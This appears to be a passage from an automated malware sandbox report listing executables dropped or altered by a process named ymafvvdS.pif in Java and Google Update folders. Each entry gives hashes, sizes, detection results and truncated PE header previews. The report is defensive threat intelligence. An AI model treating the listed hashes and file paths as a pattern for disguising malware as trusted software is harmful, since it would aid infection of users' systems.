SHA-256:	8943CEC6DE36C516FDA64B9D97DB493EB61C8EA57827AC92FAA7E25714F378BD
SHA-512:	B822F2F168CB7063A1501D3F4B8A46E3DE1A0349462A0A4F5307459240B7980856D22EE01DDD1BD95699E82A109786A258EA45207D744F62E6F4E99897FF2FFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................@...............................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...`.......P..................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1375232
Entropy (8bit):	5.446808328635351
Encrypted:	false
SSDEEP:	24576:6nU/h/4KZsqjnhMgeiCl7G0nehbGZpbD:6U/VdDmg27RnWGj
MD5:	9C392A3EA0F6FBAC0EFEBF4935223463
SHA1:	1ED8FB566021837E216645DB73223E33E2529840
SHA-256:	17B0ECAC9F680D11F097D42A852B62EC6BACB55B037437A12AFD992391426BD9
SHA-512:	D0A24D1FCA3FC98C079C9A5E8CC2DD9674856C435964AEE14178A7E8B7A3B7A728B7700251D171F6E3804DF2B2D41E41B9932AF72578FC17EDD14AF82021FB36
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................@..............................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...`.......P..................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1513984
Entropy (8bit):	5.483716331585078
Encrypted:	false
SSDEEP:	24576:yx71iBLZ05jNTmJWExGsqjnhMgeiCl7G0nehbGZpbD:yxhiHIjNgKDmg27RnWGj
MD5:	ED719449EA36376991AAD182B6D80824
SHA1:	1C5AAA288C578BFA9AB225BC79314FBF970AE32B
SHA-256:	FB6839EE0109B6576BC4A1A09D7F0A46E62D95831A089CA4438D8D380C25DEB5
SHA-512:	EFF13B82AD5D7B3649EAFC4F9352889586284F5BAED1F56C8C9A3F5924C247541D2FBBC5647E06DE49F6D9756703C9F61874B6A193C3951C4F48BD59BC32609F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@................................. ...........................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc...p...0...`..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1419264
Entropy (8bit):	5.4666969436459825
Encrypted:	false
SSDEEP:	24576:BlnRklQ6fgJcEwixYsqjnhMgeiCl7G0nehbGZpbD:9oRfgJcEwCEDmg27RnWGj
MD5:	4E3284A179E53D9E6D0119FC9EA43F8F
SHA1:	D99A8F122B1EF58B35F6874D03324690A35A263E
SHA-256:	8C2308E01341AB8B66F8A9A40ACD3DC3AAABCF1734A581154E9C7CDBD60521D4
SHA-512:	D7A92B85B23A701E7D28EE8F715A1432A96A6611450938745A0C7AB7855D18F19DC1E82AB6C99E19A032A28CE48B7EA441580A9299FAB5AF1BEA3227CBA7A56A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|../../../L...../L...8./+...../+...../+...../L...../L...../../4./..../.s/../..../Rich../........................PE..L...A..d.............................s............@.........................................................................<........P...2..............................T...........................8...@............................................text............................... ..`.rdata...%.......&..................@..@.data...d(... ......................@....rsrc....2...P...4..................@..@.reloc...p.......`...H..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1522176
Entropy (8bit):	5.496509486836508
Encrypted:	false
SSDEEP:	24576:SW25k8hb0Haw+xosqjnhMgeiCl7G0nehbGZpbD:SWyk8SHawmUDmg27RnWGj
MD5:	E88EADF7D86CC06637243EDC6E3615CA
SHA1:	73A4A4EA349947A5A698111934A66360B42AF945
SHA-256:	3567AA9983C0967BDA1A18FCBF093300E033F154230175E64EE9A564114E0F5B
SHA-512:	18B9A7E419CF1561D8357F795B91E249702E0BC3650BA3B4D5FE19A74595335257480CFD585289623BC06DE2564D9C2EA74674AD59EFEBE4949B2084AB4DEEE1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.s.%.s.%.s.%...$ms.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%.s.%xr.%...$.s.%...%.s.%...$.s.%Rich.s.%................PE..d...X..d.........."..........R......L..........@.......................................... ..................................................M....... ...2.......,................... ..T............................ ..................(............................text............................... ..`.rdata..............................@..@.data....6...p.......X..............@....pdata...,...........j..............@..@_RDATA..............................@..@.gxfg...0...........................@..@.gehcont............................@..@.rsrc....2... ...4..................@..@.reloc...`...`...P..................@...........................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1282048
Entropy (8bit):	5.1639369669066975
Encrypted:	false
SSDEEP:	12288:UWP/aK2vB+TXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3b:UKCKABAsqjnhMgeiCl7G0nehbGZpbD
MD5:	07F0208AA8F68AC1FA2E4CCE75DAD540
SHA1:	A2230FC30FA097EFB8315B54F0A4A059CDF3D0AC
SHA-256:	52A870A066DBBEF6944ADF038A0D04020543D9407A15FEBD5C4F8E1DDAB7CCAE
SHA-512:	FCF819F40BCD75614B487879D40D5A86C9EAF429301F2907026E1A88F61D2DF5E64611BFE392E756D9B15C30C13F7CFA78F01966225AF445C15015DB677824E0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;...U..U..U.M.V..U.M.P...U.M.Q..U..Q..U..V..U.*.P..U.M.T..U..T...U..\..U....U.....U..W..U.Rich..U.........PE..L...9..d.................D..........Ru.......`....@.................................\|.......................................P...x....... ...........................p[..T............................[..@...............L............................text....B.......D.................. ..`.data...x....`.......H..............@....idata...............R..............@..@.rsrc... ............\..............@..@.reloc...`.......P...@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1228288
Entropy (8bit):	5.162019452015766
Encrypted:	false
SSDEEP:	12288:XO7cCNWB+09JXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDtL:ejNWBPDsqjnhMgeiCl7G0nehbGZpbD
MD5:	7CE1D0B4F64D184766C1722B6E5FD6AC
SHA1:	8B28CC577AF3ABF87CE9F45DBEB77CEE3E9A8A00
SHA-256:	89F4C6A0C8E34A3206E1262C26322AE0BB01AEE8432198D1440127C56C22578F
SHA-512:	7B4307C76C2F4F18B21961B3A25DBAB267E92C225026E54BCAE4B983F00A0E69D7772C87FF0386D88CC6B0563AFB9BA0EDD1D8C1C24482B2D49E2A70C1356BDE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...:..d..........................................@.................................sa.......................................5..<....`..p2...........................+..T...........................X+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...`.......P...n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1302528
Entropy (8bit):	5.238917207681283
Encrypted:	false
SSDEEP:	24576:jihRyhdsRrNsqjnhMgeiCl7G0nehbGZpbD:jihsoRxDmg27RnWGj
MD5:	4FFD9D6F90EE6EEC72E4B44B1AD6530C
SHA1:	57BE122E9F1624025AB97B127213F1BC00F3D2DC
SHA-256:	AC0029CA41B365D8B43C195BBFCB5D9855A4CDBF02600663E9F116457E14DB85
SHA-512:	4EB02DD3D81BA63F2574397C9E9B6029D5D5E349E0715F1E06524C5DC5A15BC4BE85372C3EC4884C79BA1DB93330F89E404DD1028AF2BE603CEB3CDFF71DAFDC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X..X..X..~...X..~..X...2..X...2..X...2...X...3..X..~..X..~..X..X..?Y...3..X...3..X..Rich.X..........PE..d...A..d.........."......R...z.......R.........@.............................p......NW.... ..................................................p..x....................................V..T...........................0W...............p...............................text....P.......R.................. ..`.rdata.......p.......V..............@..@.data...x3...........d..............@....pdata...............t..............@..@_RDATA..............................@..@.gxfg...............................@..@.gehcont............................@..@.reloc...P... ...@..................@...........................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1342464
Entropy (8bit):	5.3509963854210705
Encrypted:	false
SSDEEP:	24576:I1FDmRF+wpx/QafCsqjnhMgeiCl7G0nehbGZpbD:2mRF+wn/JfGDmg27RnWGj
MD5:	F172D15708A0F26C2F5397316F96B8AD
SHA1:	8B60BDDBEF974353D02C79C31DFD018C07EE9052
SHA-256:	0B66ED1D6EFCF6B19FF32B82CF791A9E6150EB93004B1D7D68A5C139D79522B5
SHA-512:	0D75657C0307182B50898B85DE503AD7B88CEC8EB2897F37E6D4F2C7970FB57FE60D7A6485B88D9930D0C1CEA1F71D881556FBD71BFC101123109D01C9CBF3BC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|6..8W..8W..8W...%..6W...%...W...=...W...=...W...=..{W...%.. W...%..#W..8W...V..L<...W..L<s.9W..L<..9W..Rich8W..................PE..L...Y..d.....................r....................@.................................T`...............................................0...2..............................T...........................h...@............................................text...e........................... ..`.rdata..b...........................@..@.data....'..........................@....rsrc....2...0...4..................@..@.reloc...p...p...`..................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1228288
Entropy (8bit):	5.161976757557592
Encrypted:	false
SSDEEP:	12288:b2Ae621B+0YPXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDtL:aE21BPUsqjnhMgeiCl7G0nehbGZpbD
MD5:	E33605B65EE0C815163C5F327421BF80
SHA1:	33BA6707E65A3529AE9F9342ACC0B34225207B08
SHA-256:	B3B488A60E831A255A2CF9C4715BCFD00871D35BA885CA83F7B67FA4B2282CFF
SHA-512:	13E3CDC9AB57FFC87BEB5269F77FE4517C0071271F288E87AAF0E18B4698EFE940FF6E7B21A9F5CF8A40100CDE04F19A554976EEAAE88D3FF77516CE2F48E545
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...;..d..........................................@.................................uT.......................................5..<....`..p2...........................+..T...........................h+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...`.......P...n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2151936
Entropy (8bit):	7.987634321390246
Encrypted:	false
SSDEEP:	49152:sZkVX3lfrFfR0BecCqKBs+4o8YhAjDmg27RnWGj:sqR1frZRpcTKX4dD527BWG
MD5:	E666A6F317AD1140BAF49F854D6A2851
SHA1:	6EDE93CC05EEE183090360BFA127DDF1989ECB3F
SHA-256:	3E8A855E053D3D8B0983166CF667ADBE53DBEC83792062E7AA93E73D8E61B495
SHA-512:	346EA4F00B071C6A049D7238D67DBD23A0E4E8BE11BE143EB45916754F2A752DBCE24ABC7F190C324F4F073BBE870B4F2FC6DD114596E0090928B5D3560A8A78
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......4.....................@.............................@!.....<. ... ..................................................X..P...............\|....................W..............................PP..@............Z...............................text...&2.......4.................. ..`.rdata.......P.......8..............@..@.data...p....p.......N..............@....pdata..\|............P..............@..@.00cfg..0............T..............@..@.retplne.............V...................rsrc................X..............@..@.reloc.......P......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\Install\{9DD40E31-8782-438B-BCFD-713DE1B3090F}\117.0.5938.134_117.0.5938.132_chrome_updater.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2151936
Entropy (8bit):	7.987634808018328
Encrypted:	false
SSDEEP:	49152:EZkVX3lfrFfR0BecCqKBs+4o8YhAjDmg27RnWGj:EqR1frZRpcTKX4dD527BWG
MD5:	940C41EE1F74C74A35EF5AA1D5092FB4
SHA1:	59107ECF6958E32C12CB68BE69F982E3BC67673F
SHA-256:	C3B06AC4BBA3A0313A2E75A1A845F79E41B1D4C1F545874FC2FC2A6F04FD101D
SHA-512:	C7E74A2A49F1BF89D315FEF911A69465BA51EDD6FFD3F737B24EBE8DA9FA99496AE77C82A7D821B235CA35602408BA6D1FBB2C33A56AEE7A59974A42587F1F65
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......4.....................@.............................@!.......!... ..................................................X..P...............\|....................W..............................PP..@............Z...............................text...&2.......4.................. ..`.rdata.......P.......8..............@..@.data...p....p.......N..............@....pdata..\|............P..............@..@.00cfg..0............T..............@..@.retplne.............V...................rsrc................X..............@..@.reloc.......P......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1158144
Entropy (8bit):	5.068076042217309
Encrypted:	false
SSDEEP:	12288:iAXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:iAsqjnhMgeiCl7G0nehbGZpbD
MD5:	115BDA5A506086F1BEEE739C85432E4F
SHA1:	622FBD25330255E8F0CB39E9F0DA395A1436B65B
SHA-256:	973BA0BEC7D44DE34230BEB11E2CCE517119FCE51E65F2B668F6C000E3A996FC
SHA-512:	E5C2C5DA4B48AE635A7854DD1B62E11DAFDE29EFAA40D6BF87DE6A058747BC2DBBF63728C607761AC225664738499A00BFD2952C2112B04456FAB682F59A3AEC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8.C.VWC.VWC.VWJ..WS.VW!.WVA.VW!.SV\.VW!.RVO.VW!.UVB.VWW.WVJ.VWC.WW!.VW.SVB.VW..WB.VW.TVB.VWRichC.VW........PE..L.....d.................8...6.......4.......P....@.................................^.......................................$i.......................................b..T............................a..@............P...............................text....7.......8.................. ..`.rdata...#...P...$...<..............@..@.data...L............`..............@....rsrc................b..............@..@.reloc...P.......@...l..............@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.032402776408183
Encrypted:	false
SSDEEP:	12288:pKzXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:czsqjnhMgeiCl7G0nehbGZpbD
MD5:	D4C4349403180A88DEAB5B72CC609450
SHA1:	0CBCF26D312F11B96E378BA55710094ECE04CEAD
SHA-256:	7521A80A3EA91EFAAF0B6A6E887EAD893C3383725742F607787F59D38BFE0ED0
SHA-512:	5A971CA0F8B3D93D9FF240F034FA8245B1DED01BBC31D96A427344B7C23C143AB4FA0278DE45D53109ED656706C60AE2FEF42996312066C6702001344DC010FB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..d...........................h"..T............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...d....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1375232
Entropy (8bit):	5.446050733245264
Encrypted:	false
SSDEEP:	12288:qnEbH0j4x7R6SvyCMaXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/nT:qkwOtO7asqjnhMgeiCl7G0nehbGZpbD
MD5:	5E9EA3B41AD5A813D84B471C8F0AE340
SHA1:	6458DE7D26B0EA0A91C988CB54C1CF6E96074BB0
SHA-256:	AE2D0E60D243E6BFF3FC479395B6D3B5678387B313DD4B3EF270719A4B8CED43
SHA-512:	12A8E8677F4BAEDE1D21DE18B8DB701852D28143AC3D78510F8D3363FD93C1B8A926741AA8C9B1F00F4B79643D6B35B9F6A665D1F7C55D998B48C46C7B21AD0D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................@......r{.......................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...`.......P..................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1212416
Entropy (8bit):	5.119726222919098
Encrypted:	false
SSDEEP:	12288:yv1vv3Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:O1XsqjnhMgeiCl7G0nehbGZpbD
MD5:	B05EE43934CE97A7F41B1C2F616B6A60
SHA1:	7001A649A1799F77EB8211F8F33853FB2911E678
SHA-256:	0A735675BDC43BCAA821155563D816D57BB6F410A7197E962F3E8E1A38D31EEF
SHA-512:	CB38AFB7EA725881A1CE4408E7DBC849E4BEC33A63A5CD92AE607E96CF7EC65531B52829C09ED91D11F1B9CB17499E6E50AA3B13C50D9F8C530E811F4D1951BD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......VT.f.5.5.5.5.5.5.M\5.5.5pM.4.5.5pM.4.5.5pM.4.5.5.^.4.5.5.5.5.5.5pM.455.5.L.4.5.5.L05.5.5.L.4.5.5Rich.5.5........................PE..L.....d.................P...........K.......`....@.................................?6......................................8...@......................................T...............................@............`...............................text....O.......P.................. ..`.rdata...g...`...h...T..............@..@.data...@...........................@....rsrc...............................@..@.reloc...P...p...@...@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1375232
Entropy (8bit):	5.446803554950029
Encrypted:	false
SSDEEP:	24576:8nU/h/4KZsqjnhMgeiCl7G0nehbGZpbD:8U/VdDmg27RnWGj
MD5:	325D341BAE4D0FE843169CCB026BAA85
SHA1:	2038FE246B68318CD7AF72693F9F48DDE241B125
SHA-256:	0373A46F4DC16F3E9357A6EB5A2DEB9B79AC577BDAE0D81EB76F9AB13B614394
SHA-512:	8C95967D4FEF86811E80D42AA2EF3B6660850369D5DC036F27B41586924CD2A0D09CA8EFA1D9BD966B3D89F373FF99791B61EE6DB950CA555B8455A031907619
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................@......D\.......................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...`.......P..................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1513984
Entropy (8bit):	5.483714593158854
Encrypted:	false
SSDEEP:	24576:Tx71iBLZ05jNTmJWExGsqjnhMgeiCl7G0nehbGZpbD:TxhiHIjNgKDmg27RnWGj
MD5:	27E1562AD949CC8CCA05F96EAE7A8E3E
SHA1:	7BC3559EBFC2677E4E4404FE2DE23E236B2166BB
SHA-256:	54005CF8AC48F61B94F5F6EEEA31AB956543C8E99AFDE2F7B81F5546EFC30FE7
SHA-512:	0FCDFFFA10C7B82C9045CA2E6E2FB820D051112145CBCE5DA30AE11E482E357E00EFFE67B49840AE4DEA672DD09FD9B8C0D0994EEE090C75BB5FBBC9F5824142
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@.................................1T..........................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc...p...0...`..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.032888848595981
Encrypted:	false
SSDEEP:	12288:q3rjXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:iXsqjnhMgeiCl7G0nehbGZpbD
MD5:	4FFF31966792EDDC23CC93C3A1191E20
SHA1:	5FFA6DDE1B61A01B6B6ECC08500ECFE3DBB6BCB6
SHA-256:	935BF83FDE39628411EFAF4277A343BE5DD348907B4E6175F17A80BCA2C5A994
SHA-512:	E03E7008A9E1F4C5CBBB5D2023199F8CD6E232137AECE4352E7F65E637C1C2D148C3D3C03297FB3D371E0A06FB8EC51A20E2DDE121D58F4B8F17A46F31706C68
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................l.......................................&.......@..H............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...H....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1242112
Entropy (8bit):	5.172662146577943
Encrypted:	false
SSDEEP:	12288:pYdP/MXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:GdP/MsqjnhMgeiCl7G0nehbGZpbD
MD5:	FEC6D29E2EA526BE7F0C118307855FA0
SHA1:	6DD28670E88F1FEDA2EB1312E11CC81F3889BE0A
SHA-256:	AB74DE07B2648D4EB74ECE13C1D30CAD0DA6365E22AB19571FF46E669BE0C39B
SHA-512:	7363828A580681CB27EB40E4F003D194614C3A7D60BFD39E6E12A80892AA8D0DA4E5AEA1249B28002761E9D9E57EA6570A7BF00C969CA52E41186B5AC50ECBB6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.$x..wx..wx..wq.uwn..wl..vp..w...v}..w...vu..w...v{..wx..w...w...v_..w...vy..w...vs..w...wy..w...vy..wRichx..w........PE..L...}.d..........................................@..........................P..................................................h...................................`v..T............................u..@............................................text............................... ..`.rdata..R...........................@..@.data...P2..........................@....rsrc...............................@..@.reloc...`.......P..................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.032913117530654
Encrypted:	false
SSDEEP:	12288:Ry5LXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:U5sqjnhMgeiCl7G0nehbGZpbD
MD5:	1EA4645047AE86082FABC2D10DA54D3A
SHA1:	AD54B4035646728DCBB4983878D779D875C8072F
SHA-256:	E5FE720273696BDBA8183E11C3C2501A477D4FDA122E29475B0666475389DAA7
